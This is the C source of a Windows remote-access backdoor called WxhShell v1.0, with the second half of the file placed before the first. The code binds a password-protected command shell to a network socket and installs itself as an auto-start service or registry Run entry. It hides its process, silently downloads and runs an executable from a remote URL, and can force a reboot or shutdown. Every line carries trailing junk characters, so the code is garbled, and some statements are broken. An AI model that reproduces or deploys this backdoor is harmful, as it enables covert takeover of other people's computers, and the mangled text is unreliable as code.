    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wi7Br&bGi  
    else { #~-Xt! I  
    closesocket(wsh); f|B\Y/*X  
    ExitThread(0); Xydx87L/-e  
    } /!5ohQlPJ  
    break; 2[`n<R\  
    } y4jiOhF<d  
  // 获取shell 0vfMJzk  
  case 's': { j[gqS%  
    CmdShell(wsh); 9`/e= RL  
    closesocket(wsh); "KK}} $>  
    ExitThread(0); ,H"}Rw  
    break; 1q!k#Cliu  
  } 1$03:ve1  
  // 退出 J' P:SC1  
  case 'x': { k 6[   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); eK1l~W%  
    CloseIt(wsh); d^RcJ3w  
    break; HN NeH;L  
    } ? bWc<]  
  // 离开 k8}fKVU;  
  case 'q': { ASoBa&vX  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1$E[`` n  
    closesocket(wsh); /]z #V'  
    WSACleanup(); Fz(;Eo3  
    exit(1); N\ Mdia  
    break; 4h!yh2c..  
        } u;nn:K1QFr  
  } n$SL"iezW?  
  } ]l fufjj  
H if| z[0$  
  // 提示信息 (Ud"+a  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PU.j(0  
} &2  Yo  
  } n^;-&  
2Xv}JPS2As  
  return; >x6\A7  
} t=Rl`1 =(K  
3Y)z{o>P  
// shell模块句柄 >Um(gbG  
int CmdShell(SOCKET sock) )fXw~  
{ F~eYPaEKy!  
STARTUPINFO si; >Vq07R  
ZeroMemory(&si,sizeof(si)); h!(# /  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6)YckxN^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !1R?3rVQS  
PROCESS_INFORMATION ProcessInfo; /1/'zF&R-  
char cmdline[]="cmd"; G2wSd'n*y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0N!rIz  
  return 0; ',[AKXJ  
} 7CR#\&h`  
Hfj.8$   
// 自身启动模式 .R` _"7  
int StartFromService(void) /PaS <"<P@  
{ Z:h'kgG&  
typedef struct \PN*gDmX  
{ <Ffru?o4j  
  DWORD ExitStatus; 3 +'vNc  
  DWORD PebBaseAddress; [g"nu0sOK  
  DWORD AffinityMask; NKFeND  
  DWORD BasePriority; <Af&Q0J  
  ULONG UniqueProcessId; ] rqx><!  
  ULONG InheritedFromUniqueProcessId; u8?$W%eW  
}   PROCESS_BASIC_INFORMATION; g; -3  
Jb> X$|N'%  
PROCNTQSIP NtQueryInformationProcess; Xbx=h^S  
mvpcRe <  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; w8q 2f-K-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; F# 9^RA)9  
ZGh6- /  
  HANDLE             hProcess; $HOe){G  
  PROCESS_BASIC_INFORMATION pbi; Q$p3cepsK  
;8MQ'#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )Dhx6xM[a  
  if(NULL == hInst ) return 0; voRb>xF  
g51UIN]o-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Zp{K_ec{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); x76;wQ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <6.`(isph  
X^&--@l}T!  
  if (!NtQueryInformationProcess) return 0; R>Ox(MG  
_Ad63.Uq))  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); h]i vXF*  
  if(!hProcess) return 0; XkUwO ]  
yZ=O+H  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; b~<V}tJ  
zI ^:{]p  
  CloseHandle(hProcess); UT{`'#iT  
-0`n(`2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); er BerbEEH  
if(hProcess==NULL) return 0; Y evd h<  
g*_n|7pB  
HMODULE hMod; }vP(SF 6  
char procName[255]; O`_, _  
unsigned long cbNeeded; (8ct'Q;  
PVxu8n  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~S~+'V,d  
@v&P;=lU  
  CloseHandle(hProcess); w?*79 u  
4k{xo~+%,  
if(strstr(procName,"services")) return 1; // 以服务启动 op-\|<i  
/ioBc}]  
  return 0; // 注册表启动 {Qd oI Pr3  
} @R;k@b   
yfqe6-8U  
// 主模块 7zN7PHT=$t  
int StartWxhshell(LPSTR lpCmdLine) NyC&j`d  
{ TntTR"6aD  
  SOCKET wsl; ZjY?T)WE9  
BOOL val=TRUE; A ^hafBa  
  int port=0; u!+;Iy7  
  struct sockaddr_in door; o)b-fAd@$  
S 1~EJa5H  
  if(wscfg.ws_autoins) Install(); <f)T*E^5%  
'Zex/:QS  
port=atoi(lpCmdLine); x<w-j[{k_K  
6e.l# c!1}  
if(port<=0) port=wscfg.ws_port; 7z\ #"~(.  
|G/)<1P  
  WSADATA data; mss.\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; S&l [z,  
;U a48pSv  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?Ec{%N%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); GKUjtPu  
  door.sin_family = AF_INET; k MV1$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); OM7AK B=S  
  door.sin_port = htons(port); fV6ddh  
)Xt#coagS  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { N3KI6p6\  
closesocket(wsl); hhU\$'0B-  
return 1; 5}5oj37x  
} 64"DT3:  
}=gD,]2x8  
  if(listen(wsl,2) == INVALID_SOCKET) { ei}(jlQp  
closesocket(wsl); q JtLJ<=1  
return 1; {{pN7Z  
} X4'!:&  
  Wxhshell(wsl); F]N?_ bo  
  WSACleanup(); nsq7dhq  
T^$`Z.  
return 0; W"t^t|H'~  
b>#dMRK  
} ;/ |tU o$  
psiuoYf  
// 以NT服务方式启动 heWQPM|s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >s.y1Vg~C  
{ CZy3]O"qW  
DWORD   status = 0; M,oZ_tY%  
  DWORD   specificError = 0xfffffff; E 8$S0u;`  
s`v$r,N0  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1@TL>jq  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #l9sQ-1Q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; qMA";Frt3N  
  serviceStatus.dwWin32ExitCode     = 0; hc9 ON&L\>  
  serviceStatus.dwServiceSpecificExitCode = 0; MlS5/9m@^  
  serviceStatus.dwCheckPoint       = 0; 5xj8^W^G9  
  serviceStatus.dwWaitHint       = 0; @li/Y6Wh  
qq?o^_^4  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ru1^. (W2  
  if (hServiceStatusHandle==0) return; Gv#bd05X  
S {+Z.P  
status = GetLastError(); M*Q}^<E*  
  if (status!=NO_ERROR) VH+3o?nrT  
{ X(#8EY}X  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; MIiBNNURX  
    serviceStatus.dwCheckPoint       = 0; mxpw4  
    serviceStatus.dwWaitHint       = 0; tef>Py  
    serviceStatus.dwWin32ExitCode     = status; \W=Z`w3  
    serviceStatus.dwServiceSpecificExitCode = specificError; /Ah'KN|EN  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .SSyW{a3w  
    return; sint":1FC  
  } sK/ymEfRv  
3Tw9Uc\vT  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ) jM-5}"  
  serviceStatus.dwCheckPoint       = 0; ~*^o[~x]\  
  serviceStatus.dwWaitHint       = 0; :v$)Z~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); z/p^C~|}  
} ,":_CY4(  
tWaGCxaE  
// 处理NT服务事件,比如:启动、停止 S<i. O  
VOID WINAPI NTServiceHandler(DWORD fdwControl) bTAY5\wB  
{ iO18FfM_  
switch(fdwControl) OJM2t`}_t  
{  b=Ektq  
case SERVICE_CONTROL_STOP: 0~DsA Ua  
  serviceStatus.dwWin32ExitCode = 0; XgeUS;qtta  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; pbwOma2  
  serviceStatus.dwCheckPoint   = 0; w`M`F<_\:  
  serviceStatus.dwWaitHint     = 0; F8/n;  
  { 4/ q BD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VyNU<}  
  } `JGW8 _  
  return; Y9st3  
case SERVICE_CONTROL_PAUSE: fwUF5Y  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )!G 10  
  break; WOeLn[  
case SERVICE_CONTROL_CONTINUE: 1L?W+zMO  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8A-*MU`+  
  break; 9.#")%_p  
case SERVICE_CONTROL_INTERROGATE: #8BI`.t)j  
  break; X_Pbbx_j  
}; LFYSur8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z^WI~B0nt  
} e~R_bBQ0  
MFWkJbZV  
// 标准应用程序主函数 ^![7X'!;pt  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) f3.oc9G  
{ I9#l2<DYlX  
t47;X}y f  
// 获取操作系统版本 P^ lzbWj^  
OsIsNt=GetOsVer(); bhsCeH  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0Xn,q]@Z  
pDhUD}1G  
  // 从命令行安装 ;DKJ#tS}"  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6Tm7|2R  
dAOJ: @y  
  // 下载执行文件 ;.R) uCd{=  
if(wscfg.ws_downexe) { ?T|0"|\"'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9gIim   
  WinExec(wscfg.ws_filenam,SW_HIDE); /{I-gjovy  
} nCA~=[&H  
REsw=P!b  
if(!OsIsNt) { G"6XJYoI  
// 如果时win9x,隐藏进程并且设置为注册表启动 Vk[M .=J  
HideProc(); qIh9? |`U  
StartWxhshell(lpCmdLine); `ah"Q;d$  
} P9q=tC3^  
else   
  if(StartFromService()) $ma@z0%8}  
  // 以服务方式启动 %):pfM;b  
  StartServiceCtrlDispatcher(DispatchTable); h2?\A%  
else yGX5\PSo  
  // 普通方式启动 taO(\FOm  
  StartWxhshell(lpCmdLine); >S{8sN  
NJQy*~P  
return 0; 2 zX9c<S=5  
} G)o:R iq  
5EECr \*  
P{StF`>Y  
w:R#F( 'B  
=========================================== FNo.#Z5+b  
f9d{{u  
I"KosSs  
^E+fmY2a  
Q j|tD+<  
<;1M!.)5  
" 6/" #pe^  
.>1Y-NM  
#include <stdio.h> q[+KQ,  
#include <string.h> rA8{Q.L  
#include <windows.h> sx'eu;S  
#include <winsock2.h> (/{bJt~b  
#include <winsvc.h> PZ?kv4  
#include <urlmon.h> k6RH]Ha  
ho^jmp  
#pragma comment (lib, "Ws2_32.lib") ^D ;EbR  
#pragma comment (lib, "urlmon.lib") 9}a&:QTHR  
M+lr [,c  
#define MAX_USER   100 // 最大客户端连接数 K7i@7  
#define BUF_SOCK   200 // sock buffer 2dbn~j0  
#define KEY_BUFF   255 // 输入 buffer J L1]auO*  
Gj[5e w?@  
#define REBOOT     0   // 重启 >CHb;*U  
#define SHUTDOWN   1   // 关机 T?tZ?!6  
la^K|!|  
#define DEF_PORT   5000 // 监听端口 M.EL^;r  
nD!t*P  
#define REG_LEN     16   // 注册表键长度 [b~+VeP+p4  
#define SVC_LEN     80   // NT服务名长度 8cURYg6v  
]A1'+!1$  
// 从dll定义API ~|LAe-e"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Eb5BJ-XeS^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); l=#b7rBP  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); OO,EUOh-T:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); bPV;"  
VS_I'SPPIc  
// wxhshell配置信息 s E;2;2u"  
struct WSCFG { ]AN%#1++U  
  int ws_port;         // 监听端口 wb##|XyK<c  
  char ws_passstr[REG_LEN]; // 口令 nAX/u[  
  int ws_autoins;       // 安装标记, 1=yes 0=no GBT219Z@8  
  char ws_regname[REG_LEN]; // 注册表键名 w")m]LV  
  char ws_svcname[REG_LEN]; // 服务名 VM;vLUu!e  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ob|^lAU  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ocpM6b.fK  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,H$%'s1I(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,&Vir)S  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @,LU!#y(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 I\IDt~  
FiXqypT_(  
}; F4ylD5Y!  
x<.(fRv   
// default Wxhshell configuration ^}J,;Zhu5  
struct WSCFG wscfg={DEF_PORT, C@pn4[jTl  
    "xuhuanlingzhe", OXB 5W#$  
    1, *R7bI?ow  
    "Wxhshell", I<Mb /!TQ  
    "Wxhshell", oE0~F|(\1  
            "WxhShell Service", i8f+woZL  
    "Wrsky Windows CmdShell Service", bh3yH>Zns  
    "Please Input Your Password: ", wT-K g=-q  
  1, ;*=7>"o'`  
  "http://www.wrsky.com/wxhshell.exe", %CUwD  
  "Wxhshell.exe" =T)y(] ;M$  
    }; @![1W@J  
w>'3}o(nY  
// 消息定义模块 ZQ'|B  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; hb9HVj  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 0vMKyT3 c  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; vTL/% SJ8  
char *msg_ws_ext="\n\rExit."; `_BmVms  
char *msg_ws_end="\n\rQuit."; BbPRPkV  
char *msg_ws_boot="\n\rReboot..."; [e{D  
char *msg_ws_poff="\n\rShutdown..."; z<J2e^j  
char *msg_ws_down="\n\rSave to "; [lu+"V,<LJ  
X}ihYM3y/  
char *msg_ws_err="\n\rErr!"; U_Q;WPJ  
char *msg_ws_ok="\n\rOK!"; uh>"TeOi  
- Nt8'-  
char ExeFile[MAX_PATH]; D<WGau2H  
int nUser = 0; {CFy %  
HANDLE handles[MAX_USER]; |Nadk(}  
int OsIsNt; [ /<kPi  
<)Y jVGG  
SERVICE_STATUS       serviceStatus; <Ynrw4[)t  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~n(LBA  
0r?]b*IEK  
// 函数声明 $FZcvo3@*S  
int Install(void); B$7Cjv  
int Uninstall(void); y k\/Cf  
int DownloadFile(char *sURL, SOCKET wsh); 2+*o^`%4P  
int Boot(int flag); 05 .EI)7  
void HideProc(void); .z*}%,G  
int GetOsVer(void); 0WyOORuK  
int Wxhshell(SOCKET wsl); u<+"#.[2v~  
void TalkWithClient(void *cs); i<q_d7-W'  
int CmdShell(SOCKET sock); PI"6d)S2  
int StartFromService(void); = '-/JH~  
int StartWxhshell(LPSTR lpCmdLine); 5X uQQ!`  
w@\4ft6d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); kL<HGQt  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8A u W>7_  
|;I"Oc.w^R  
// 数据结构和表定义 7f<@+&  
SERVICE_TABLE_ENTRY DispatchTable[] = 1Ve~P"w  
{ ~B7<Yg  
{wscfg.ws_svcname, NTServiceMain}, W*,$0 t  
{NULL, NULL} 0_=^#r4Mu  
}; }1Q> A 5e  
4H{$zMq8  
// 自我安装 &2n 5m&   
int Install(void) GgE 38~A4  
{ -MORd{GF  
  char svExeFile[MAX_PATH]; =)x+f/c]  
  HKEY key; 1)f <  
  strcpy(svExeFile,ExeFile); >gl.ILo  
=Q6JXp  
// 如果是win9x系统,修改注册表设为自启动 y I[kaH"J  
if(!OsIsNt) { 9! yDZ<s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BL-7r=Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6_:KFqc W  
  RegCloseKey(key); w{4#Q[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { iRM ?_|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &v feBth  
  RegCloseKey(key); %/SHB  
  return 0; v+( P4f S  
    } p4 $4;)  
  } `7.$ A U  
} E `V?Io  
else { t@iw&> 8z  
>LB*5  
// 如果是NT以上系统,安装为系统服务 1DN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); jLw|F-v-l<  
if (schSCManager!=0) -U;=]o1  
{ c_aj-`BKp  
  SC_HANDLE schService = CreateService jHV) TBr  
  ( zhY]!  
  schSCManager, f=Oj01Ut*  
  wscfg.ws_svcname, .\3gb6S}  
  wscfg.ws_svcdisp, 4E$d"D5]>p  
  SERVICE_ALL_ACCESS, \{qtdTd  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +F>erdV  
  SERVICE_AUTO_START, Z@AN0?,`~o  
  SERVICE_ERROR_NORMAL, m;qqjzy  
  svExeFile, WtXf~ :R  
  NULL, V@\u<LO0G  
  NULL, c<{~j~+  
  NULL, cs[nFfM  
  NULL, *q@3yB}  
  NULL db>"2EE  
  ); S7@/d HN  
  if (schService!=0) R_vK^Da  
  { oq,*@5xV2  
  CloseServiceHandle(schService); N,*'")k9  
  CloseServiceHandle(schSCManager); vtc%MG1  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Ga pM~~  
  strcat(svExeFile,wscfg.ws_svcname); /!60oV4p0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Q@*9|6-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (^]3l%Ed  
  RegCloseKey(key); /PG%Y]l0b  
  return 0; ^KV:.up6  
    } vOl3utu7  
  } 2Tv W 6  
  CloseServiceHandle(schSCManager); $F]*B `  
} g'EPdE  
} di<g"8  
+;bZ(_ohG  
return 1; 7 4hRG~  
} 6t'.4SR  
-67!u;  
// 自我卸载 3@1$y`SN  
int Uninstall(void) X<f4X"y  
{ Ty*+?#`  
  HKEY key; n} ]gAX  
t$lJgj(  
if(!OsIsNt) { m]}EVa_I`/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pezfB{x?  
  RegDeleteValue(key,wscfg.ws_regname); {J/+KK  
  RegCloseKey(key); 7'ws: #pC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7UUu1"|a|  
  RegDeleteValue(key,wscfg.ws_regname); \vuWypo  
  RegCloseKey(key); !P6?nS  
  return 0; ;Q[E>j?w=  
  } q3|SZoN  
} BG6Lky/omz  
} xFA`sAucr  
else {  l .m #  
?iL-2I3*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); EH'eyC-B<  
if (schSCManager!=0) ^__ P;Gr`  
{ QJI]@3 Y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); EEvi_Z932  
  if (schService!=0) ;)ERxMun  
  { sGa "  
  if(DeleteService(schService)!=0) { g<:TsP'|  
  CloseServiceHandle(schService); N1U.1~U  
  CloseServiceHandle(schSCManager); 'Hu+8,xA  
  return 0; %Siw>  
  } MYVb !  
  CloseServiceHandle(schService); OK z5;#S=  
  } WY26Iq@C  
  CloseServiceHandle(schSCManager); SzG?m]  
} 46H@z=5  
} [lz H%0 V  
AR g]GV/L  
return 1; |Vp ?  
} `*]r+J2  
!.O;SG  
// 从指定url下载文件 %PPkT]~\  
int DownloadFile(char *sURL, SOCKET wsh) <irr .O  
{ s,M]f,T  
  HRESULT hr; 8/~@3-9EK  
char seps[]= "/"; ?}C8_I|4~  
char *token; GxE`z6%[  
char *file; q^L"@Q5;  
char myURL[MAX_PATH]; +hs:W'`%  
char myFILE[MAX_PATH]; u_*y~1^0  
q~{O^,4S  
strcpy(myURL,sURL); 'a~F'FN$  
  token=strtok(myURL,seps); w!}kcn<  
  while(token!=NULL) hz h3p[  
  { $]a*ZHd;2&  
    file=token; &C#?&AQ  
  token=strtok(NULL,seps); )H&ZHaO,_  
  } }x_:v!G  
{H 3wL  
GetCurrentDirectory(MAX_PATH,myFILE); .EjjCE/v-  
strcat(myFILE, "\\"); DH.CAV  
strcat(myFILE, file); zXe]P(p<  
  send(wsh,myFILE,strlen(myFILE),0); 0bu!(Tpg7  
send(wsh,"...",3,0); qR4-~ p 8  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); vI(CX]o  
  if(hr==S_OK) p1IN%*IV+o  
return 0; +}BKDEb  
else C *7x7|z  
return 1; 9q2x}  
Seq ^o=  
} ]DZ~"+LaG  
0 n|>/i  
// 系统电源模块 [9y y<Z5  
int Boot(int flag) 1=^|  
{ ayN[y  
  HANDLE hToken; LVy (O9g  
  TOKEN_PRIVILEGES tkp; b >'c   
O`;o"\P<  
  if(OsIsNt) { Z[kVVE9b?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Krr51` hZH  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |}d+BD  
    tkp.PrivilegeCount = 1; c Hnd gUW]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |"}rC >+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); A|m0.'/   
if(flag==REBOOT) { QjTs$#eMW  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {Ut,xi  
  return 0; V}h)e3X  
} $wk(4W8E  
else { Lv#}Gm  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Zb+n\sv4  
  return 0; IYhn*  
} ^[q/w<_j~  
  } B!J&=*=e  
  else { _V3}F1?W  
if(flag==REBOOT) { [6nN]U~Y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \WZSY||C|_  
  return 0; &B$%|~Y5  
} M2A_T.F=H  
else { sDkO!P  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) TR:4$92:H  
  return 0; WKq{g+a  
} i,l$1g-i  
} Z{_YH7_  
(?P\;yDG  
return 1; z/pxZ B ~"  
} 0 R>!jw  
jori,"s  
// win9x进程隐藏模块 +Ecn  
void HideProc(void) qh6Q#s>tH  
{ O/oLQoH  
161IWos  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  |  
  if ( hKernel != NULL ) Q%0 N\  
  { M[0NB2`Wp  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9 ]|C$;kw@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); y!~ }7=  
    FreeLibrary(hKernel); %'Z`425a  
  } D<T:UJ  
E/^N   
return; ~{t<g;F  
} .nei9Y*  
6N/6WrQEeg  
// 获取操作系统版本 6vg` 8  
int GetOsVer(void) _ F2ofB'  
{ 2WB`+oWox  
  OSVERSIONINFO winfo; c(s: f@ 1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @\U] hN?  
  GetVersionEx(&winfo); id>2G %Tx  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Crezo?  
  return 1; 1#|qT7  
  else W O'nW  
  return 0; 'lOpoWDL  
} c']m5q39'  
:{ai w?1  
// 客户端句柄模块 +O7GgySx  
int Wxhshell(SOCKET wsl) HzAw rC  
{ g!`^!Q/($  
  SOCKET wsh; sLc,Dx"+  
  struct sockaddr_in client; N <M6~  
  DWORD myID; yxi*4R  
{^R>H|~  
  while(nUser<MAX_USER) p R ! m  
{ +*wo iSD  
  int nSize=sizeof(client); GFvLd:p` [  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,9$|"e&  
  if(wsh==INVALID_SOCKET) return 1; $Q=S`z=  
^g"%:4zO  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ZSLvr-,D  
if(handles[nUser]==0) *EFuK8 ;  
  closesocket(wsh); $ou/ Fn  
else e1ExB#  
  nUser++; <jh=W9.N_  
  } <9S5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;S'1fci6  
x}OJ~Yk]  
  return 0; NOl/y@#  
} 8>|<m'e^\r  
$|I hO  
// 关闭 socket nHQWO   
void CloseIt(SOCKET wsh) !#PA#Q|cO  
{ (Y  
closesocket(wsh); RAA,%rRhu(  
nUser--; 43*;"w=  
ExitThread(0); IB^vEY!`6_  
} jM>;l6l  
m:cWnG  
// 客户端请求句柄 k8,s<m  
void TalkWithClient(void *cs) .RWq!Z=)3  
{ _D8:p>=  
_TbvQ Y  
  SOCKET wsh=(SOCKET)cs; RG_6& A  
  char pwd[SVC_LEN]; n m.5!.  
  char cmd[KEY_BUFF]; WdbHT|.Aj  
char chr[1]; [f]:h Ji  
int i,j; !j9(%,PR  
J$S*QCo  
  while (nUser < MAX_USER) { q,=YKw)*  
/mK]O7O7  
if(wscfg.ws_passstr) { A $l  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); MTn}]blH  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C-H6l6,  
  //ZeroMemory(pwd,KEY_BUFF); BuOe'$F 0t  
      i=0; ;7(vqm<V2~  
  while(i<SVC_LEN) { w NMA)S  
rE?B9BF3O  
  // 设置超时 r>t|.=!  
  fd_set FdRead; 07>D G#  
  struct timeval TimeOut; -~ Dn^B1^  
  FD_ZERO(&FdRead); I:YE6${k!  
  FD_SET(wsh,&FdRead); !4$-.L)#  
  TimeOut.tv_sec=8; 'K|F{K  
  TimeOut.tv_usec=0; 4Dasj8GsV  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); pJ/{X=y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +ux`}L(  
1/A|$t[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [+qB^6I+P%  
  pwd=chr[0]; l=47#zbpZ]  
  if(chr[0]==0xd || chr[0]==0xa) { sRflabl *x  
  pwd=0; _Bhd@S!  
  break; =P,pW  
  } Kn}Y7B{  
  i++; pAyUQe;X#  
    } )#,a'~w  
h3Nbgxa.  
  // 如果是非法用户,关闭 socket M%5_~g2n'\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [o.#$(   
} 8]WcW/1r !  
s 4n<k]d  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); i1!Y {  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &0OH:P%  
o}yA{<"  
while(1) { |oR#j `  
vhN6_XD  
  ZeroMemory(cmd,KEY_BUFF); .GvZv>  
e<"sZK  
      // 自动支持客户端 telnet标准   3(1UI u  
  j=0; 4hW:c0  
  while(j<KEY_BUFF) { tD]vx`0>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LftzW{>gI"  
  cmd[j]=chr[0]; 5?TX.h9B4  
  if(chr[0]==0xa || chr[0]==0xd) { )9+H[  
  cmd[j]=0; E>F6!qYm  
  break; peVzF'F  
  } UFeQ%oRa8  
  j++; }U**)"  
    } )a$sx}  
H:o=gP60]  
  // 下载文件 M+7jJ?n  
  if(strstr(cmd,"http://")) { h2 >a_0"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); x/%/MFK)>8  
  if(DownloadFile(cmd,wsh)) _;:B@Z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^vTp.7o~5  
  else .xtam 8@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o>I,$=  
  } yg"FF:^T  
  else { D+7[2$:z  
gY_AO1  
    switch(cmd[0]) { kuv+TN  
  1z@{ 4)  
  // 帮助 vh^?M#\  
  case '?': { ,+FiP{`  
